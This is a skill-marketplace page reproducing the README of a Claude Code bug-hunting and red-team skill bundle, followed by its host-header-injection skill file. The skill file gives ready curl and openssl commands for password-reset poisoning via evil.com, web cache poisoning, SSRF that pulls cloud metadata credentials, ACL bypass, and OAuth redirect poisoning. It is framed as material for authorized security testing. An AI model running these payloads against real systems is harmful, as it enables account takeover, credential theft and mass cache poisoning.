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A self-contained Claude skill bundle for bug hunting and external red-team work · 82 skills · 15...
用 Codex 或 Claude 安装复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它先审查 Skill 页面再帮你安装。
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来源文件:README.md
A self-contained Claude skill bundle for bug hunting and external red-team work · 82 skills · 15 slash commands · 681 disclosed-report patterns across 24 core vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder scaffolding · Burp MCP integration · battle-tested across authorized red-team and bug-hunting engagements, plus public training platforms (DVWA, OWASP Juice Shop, Hacker101, testphp.vulnweb.com).
Built by Sachin Sharma — Bug Hunting & GenAI Security Research.
claude-bughunter is a drop-in skill bundle for the Claude Code skills system. Install once and Claude Code stops being a chatbot and starts behaving like a senior bug-hunting researcher or red-team operator: it knows the techniques, the chain templates, the VRT mappings, the platform CVE chains, and the hygiene — and it stays in scope.
Four layers stack:
bb-methodology + redteam-mindset: the 5-phase non-linear workflow, critical-thinking framework, and red-team operator discipline.hunt-* skills curated from 681 disclosed HackerOne reports: per-class detection patterns, payloads, bypass tables, and chain templates.triage-validation + reporting + evidence-hygiene: the 7-Question Gate, VRT-aware severity, OOS rebuttals, PII redaction, and red-team deliverables.All triggered automatically by topic — describe what you're testing in plain English and the relevant skill loads. No invocation by name.
Option A — install as a Claude Code plugin (recommended). From inside Claude Code:
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls
All 82 skills + 15 commands load namespaced under claude-bughunter: and update when you bump the plugin version — no files copied into ~/.claude/.
Option B — copy install (no plugin system / pin to a clone):
git clone https://github.com/elementalsouls/Claude-BugHunter.git
cd Claude-BugHunter
# macOS / Linux
bash scripts/install.sh
# Windows (PowerShell)
pwsh ./scripts/install.ps1
Both copy the skills + commands into ~/.claude/ (macOS/Linux) or %USERPROFILE%\.claude\ (Windows) and wire the hunt engagement scaffolder.
What each install path gives you:
| Path | 82 skills + 15 slash commands | cbh CLI | hunt scaffolder |
|---|---|---|---|
| A — plugin | ✅ namespaced under claude-bughunter: | ➕ separate pipx install | ❌ clone-only |
| B — copy install | ✅ copied into ~/.claude/ | ✅ from the clone | ✅ from the clone |
The plugin is the fastest path to the skills + slash commands. The terminal-native
cbh runner installs standalone — pipx install git+https://github.com/elementalsouls/Claude-BugHunter
— so plugin users can add it without a full clone (see cbh CLI).
The hunt engagement scaffolder ships with the clone (Option B).
That's it. Open Claude Code and describe what you're testing in plain English — the right skill loads automatically, no invocation by name:
> Testing acme.com — an in-scope HackerOne target. Run recon and rank the surface.
⟳ loading skills: web2-recon, offensive-osint, bb-methodology …
→ subdomain enum (subfinder + crt.sh) … 47 hosts
→ live hosts (httpx) … 12 · tech fingerprint … 6 distinct stacks
→ ranked surface: api.acme.com (GraphQL, introspection ON) ← start here
auth.acme.com (OAuth, SSO) ← hunt-oauth
Next: want me to probe the GraphQL introspection + OAuth redirect_uri?
→ Full Installation guide · Usage guide · searchable skill catalog.
The block above is an illustrative transcript. To record a real demo of your own session:
asciinema rec demo.cast→ upload to asciinema.org and drop the badge here.
The skills are plain Agent Skills — the same SKILL.md format that Claude Code · OpenCode · OpenAI Codex CLI · Hermes Agent all load. One command installs them everywhere:
# macOS / Linux
bash scripts/install.sh --all --burp-mcp
# Windows (PowerShell)
pwsh ./scripts/install.ps1 -All -BurpMcp
--all (-All) copies the skills to every harness's path (~/.claude/skills, ~/.agents/skills, ~/.hermes/skills); --burp-mcp (-BurpMcp) wires the Burp MCP server into each. The full knowledge layer ports to all four — the slash commands and /hunt engine stay Claude-Code-only by design.
Chart is self-hosted — regenerate with python3 scripts/gen_star_history.py (needs gh auth login).
Refreshes automatically each Monday via .github/workflows/star-history.yml.
This bundle covers the external attack surface — anything reachable from the internet without first compromising an internal endpoint.
If you're running an internal red team that includes domain-takeover chains via Kerberos or lateral movement, this bundle won't help you in those phases — and we'd rather say that up front than have you find out mid-engagement. The external surface handoff to internal-RT tooling (Impacket, NetExec, CrackMapExec, Rubeus, Certify, BloodHound) is intentionally outside our scope. Coverage for internal AD and post-exploit may come in a future update.
82 skills, auto-loaded by topic — no invocation by name. Coverage across the external attack surface:
| Category | # | Examples |
|---|---|---|
| Web application hunting | 13 | XSS, SQLi, SSRF, IDOR, LFI, SSTI, XXE, CSRF, CORS, open-redirect |
| Authentication & identity | 7 | auth-bypass, session, OAuth, SAML, MFA-bypass, ATO |
| API & infrastructure | 15 | GraphQL, gRPC, WebSocket, API-misconfig, host-header, RCE |
| Advanced & concurrency | 6 | race-condition, HTTP smuggling, deserialization, cache-poison |
| Framework-specific | 4 | Next.js, Node.js, Laravel, Spring Boot |
| Enterprise identity & cloud ★ | 3 | M365/Entra, Okta, cloud-IAM-deep |
| Infrastructure & appliance ★ | 4 | VMware vCenter, enterprise VPN, SharePoint, ASP.NET/NTLM |
| Red-team tradecraft ★ | 4 | redteam-mindset, APK pipeline, supply-chain recon, mid-engagement IR |
| Recon & OSINT | 4 | web2-recon, offensive-osint, subdomain |
| Workflow, reporting & specialized | 11 | methodology, triage-validation, evidence-hygiene, VRT-aware reporting |
Full searchable catalog → docs/skills.md. Also ships 15 slash commands (/hunt, /recon, /report, …) and a deterministic engagement engine (engine/) that maps a target's attack surface and routes each finding to the skill that handles it.
A 6-phase, non-linear workflow — recon → map & rank → hunt → validate → report — with scope enforced in code and a 7-Question Gate before anything is submitted. Two ways to drive it:
/hunt scaffold + cbh CLI — engagement-folder structure, state, and orchestration.→ Usage guide & worked example · 6-phase architecture & skill-to-phase map · cbh CLI
These skills are intended for assets you own or have written authorization to assess (bug-bounty in-scope assets, pentest engagement letters, CTF challenges, your own infrastructure).
The skills include validation gates that auto-trigger when you point Claude at unverified third-party targets — triage-validation's 7-Question Gate explicitly asks whether the asset is in scope (Q3) and on the program's accepted-impact list (Q2). The bugcrowd-reporting skill includes researcher-side hygiene (Bugcrowdninja alias, account-state restoration, friendly-tester posture) that signals legitimate authorized testing to the target's fraud team.
The bundle explicitly excludes: weaponizing 0-days against unauthorized targets, post-exploitation tooling, malware development, mass-targeting infrastructure. See SECURITY.md for the full posture.
Heads-up — Anthropic runtime cyber safeguards. Anthropic's models apply real-time safeguards that block "vulnerability exploitation or offensive security tooling development" by default — so even authorized, in-scope work can hit a refusal that isn't this bundle's doing. If you do authorized offensive security (pentest / bug bounty / red team), enroll in Anthropic's free, application-based Cyber Verification Program (CVP) to get safeguards adjusted for legitimate dual-use work. (Mass data exfiltration and ransomware development stay prohibited and are not adjustable.) Details: Anthropic — real-time cyber safeguards.
Separate from refusals, and easy to miss. On Opus 5, a narrow set of higher-risk cyber requests — Anthropic names exploit generation, binary-based vulnerability scanning and penetration testing — fall back to Opus 4.8 rather than being refused. You get a notice and the response is labelled with the model that answered, but in a long agentic run that is easy to scroll past, so it can look like Opus 5 quietly got worse. See why Claude switched models.
What to do depends on what you are actually doing:
| Situation | What helps |
|---|---|
| Auditing your own code — reviewing a repo you own for defects | Say so. "Defensive review of my own repo", "check this against the OWASP Top 10", "secure refactor to remediate" describe the work accurately and read as remediation. This is not a workaround; the work genuinely is defensive. |
| Authorized offensive work — live engagement, PoC for a bounty submission | This is what the bundle is for, and the supported route is CVP. Do not reword an offensive engagement to look defensive to get past a classifier — enroll instead. |
| You just want the switching off | Settings → Capabilities disables automatic model switching. |
/hunt states the engagement frame (authorized, scope-bounded, remediable finding) on its first turn
for exactly this reason — engagement context belongs in the session explicitly, not implied.
| Doc | Contents |
|---|---|
README.md | This file — overview, quickstart, scope, skill summary |
INSTALL.md | Full setup with Burp MCP integration and optional skill regenerator |
USAGE.md | Workflow walkthrough · decision tree · worked engagement example |
docs/architecture.md | 6-phase architecture · skill-to-phase mapping · engagement composition |
docs/cbh-cli.md | cbh CLI — native runner orchestrating recon + classify + triage + report |
docs/cve-coverage.md | CISA KEV coverage snapshot — refreshed weekly via the workflow template at docs/automation/cve-refresh.yml.template |
docs/credits.md | Full attribution: 43 original skills + 8 vendored from upstream |
CONTRIBUTING.md | PR guidelines · skill quality standards · scope |
SECURITY.md | Authorized-use posture · responsible disclosure · what's excluded |
LICENSE | MIT |
Most bug-hunting Claude setups are either too generic (one big "security" prompt) or too fragmented (you bookmark 30 disclosed reports and re-read them every engagement). Neither scales past the second target.
This bundle was built and validated through authorized engagements that exposed different capability gaps:
Bug-bounty engagement — surfaced four gaps a starter 3-skill stack could not close:
External red-team engagement — exposed five additional gaps that bug-bounty defaults made worse:
redteam-mindsetmid-engagement-ir-detectionm365-entra-attack, okta-attack, hunt-sharepoint, hunt-aspnet, hunt-ntlm-info, vmware-vcenter-attack, enterprise-vpn-attack, apk-redteam-pipelineredteam-report-templatecloud-iam-deepThe per-class hunt-* skills address gap-zero ("what should I look for in webapps") — the original 24 codifying patterns from 681 disclosed HackerOne reports, with 20+ framework/surface skills added by the community v3 expansion — Claude knows the actual chain templates real triagers paid for, not abstract OWASP Top 10. The enterprise-platform and red-team-tradecraft layers address what bug-bounty alone cannot: external red-team engagements against monitored enterprise targets.
hunt-fintech-graphql, hunt-healthcare-fhir, hunt-gov-compliancescope.md from program texthunt-* skills with newer disclosed reports (re-run public-skills-builder)citrix-netscaler-deep, f5-bigip-attack, ad-cs-attack (AD Certificate Services)Atlas Cloud is a full-modal AI inference platform that gives developers a single AI API to access video generation, image generation, and LLM APIs. Instead of managing multiple vendor integrations, you connect once and get unified access to 300+ curated models across all modalities.
Check out Atlas Cloud's new coding plan promotion for more budget-friendly API access: https://www.atlascloud.ai/console/coding-plan
Operational tradecraft accumulated across bug-bounty engagements and authorized pentests, codified into Claude skills. Platform-agnostic — slot into any engagement workflow you already use, or none.
Author: ElementalSoul · GenAI Security Research
Sister project: Claude-OSINT — paired skills for the recon phase that this bundle picks up after. Its two recon skills (offensive-osint, osint-methodology) are canonically maintained here and re-exported there, so the two are byte-identical. Installing both is safe: each bundle's installer (install.sh on macOS/Linux, install.ps1 on Windows) records a manifest, the script skips re-copying an identical skill, and --uninstall keeps any skill the other bundle still owns — uninstalling one never breaks the other.
Vendored foundation: shuvonsec/claude-bug-bounty — methodology, validation, reporting, payload library (8 of 82 skills + 15 slash commands)
Generator tool used (not vendored): shuvonsec/public-skills-builder — used to scaffold per-class skills from H1 disclosed reports
Inspirations:
trailofbits/skills — skill-authoring disciplinetrilwu/secskills — subagent patternTool inventory:
License: MIT — use freely, attribution appreciated.
"Give Claude the right skill and it stops being a chatbot. It becomes an operator."
name: hunt-host-header
description: "Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature."
sources: portswigger_research, hackerone_public
report_count: 16This skill is built from the public Host-header attack literature, not invented payloads. Cite the technique source in your report, never a fabricated ID:
request.get_host() → password-reset-link
case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style
allowlist. Cite the framework + the reflected-Host behaviour you actually observed.When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not verified — a missing citation is always better than a wrong one.
Host header injection that reaches password reset links = Critical (ATO for any user).
Highest-value chains:
Host: evil.com; the victim's reset email points the token at the attacker →
token captured on click → full ATO. Pre-account-takeover variant: even the victim requesting
their own reset leaks the token to evil.com.X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned
entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target
→ cloud metadata / internal admin panels.X-Original-URL /
X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge
ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)redirect_uri or the OIDC issuer / discovery doc →
auth-code or token theft → ATO.Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
Dangerous header candidates (unkeyed / trusted inputs):
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
Always test against your own registered test account. Never request another user's reset.
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"your-test-account@target.com"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "email=your-test-account@target.com"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "email=your-test-account@target.com"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"
Confirm: open the reset email in your own test inbox and read the link host. The token must
appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator
domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so
that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and
have proof — see Validation.
Mechanism: this is a reflection bug, not an OOB bug. The injected host must be reflected into
the response body (an absolute URL, script src, <link href>, <base href>, redirect
Location, or canonical/og:url) and that response must be cached on a key you do not
control. No Collaborator callback is expected from the cache test itself — only later, if a
victim's browser loads the poisoned absolute URL.
# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"
# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED
False-positive killers (mandatory):
Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the
payload on a request that omits the header.Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.These operate at different layers. Test them separately; they do not compose into one request.
(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the
request line, exactly as a normal request, because the metadata service / internal host serves
plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant
here — the EC2 IMDS ignores it.
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"
# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
-H "Host: 169.254.169.254" -H "Metadata: true"
# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"
(3B) Path-override SSRF / ACL bypass — X-Original-URL / X-Rewrite-URL. This is an
IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the routed path. The real Host
stays put; you are bypassing an edge path ACL, not steering an upstream. Keep the real Host.
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
The old probe
Host: 169.254.169.254+X-Original-URL: /latest/meta-data/was wrong: those two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
-H "Host: evil.com" | grep -iE "redirect|location|action="
# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
Confirm: the auth code / token must actually be delivered to the attacker host (capture on Collaborator) — a reflected string alone is not ATO.
Burp Param Miner → Guess headers is faster and finds unkeyed/cache-affecting headers the list below misses. Manual sweep:
HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
echo "=== $H ==="
curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
| grep -iE "location|x-cache|cf-cache|age|set-cookie"
done
| Finding | Chain to | Impact |
|---|---|---|
| Reset link host = attacker (own test acct) | Collaborator-host injection → capture token on click | Critical — ATO any user |
| X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed | Poison key → clean fetch returns payload → load XSS/redirect | High — mass cache poisoning |
| Front-end routes by Host | Host: 169.254.169.254 path-on-request-line → creds | High/Critical — SSRF → cloud creds |
X-Original-URL overrides path | Reach /admin blocked at edge | High — ACL bypass / SSRF |
| OAuth redirect_uri/issuer built from Host | Re-point flow → capture code/token on Collaborator | Critical — ATO via code theft |
✅ Password reset: the token URL in your own test account's email uses an
attacker-controlled host. Strongest proof = inject a Collaborator host and show the inbound
HTTP hit carrying the token when the link is clicked/previewed (OOB capture).
✅ Cache poison: a request that omits the injected header (fresh egress IP / incognito)
still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or
MISS/Age:0 only.
✅ Routing SSRF: real response body from 169.254.169.254 / internal host, or an OOB
DNS/HTTP hit on your Collaborator from the front-end (blind case).
✅ Path-override: status/body diff vs the edge-blocked direct request proves the override took.
✅ OAuth/OIDC: the auth code / token is actually delivered to the attacker host (captured),
not merely reflected.
Always rule out false positives:
Vary, second IP).SITE_URL regardless of Host — reflected header in the
HTTP response does not guarantee a poisoned email; verify the email body.Severity:
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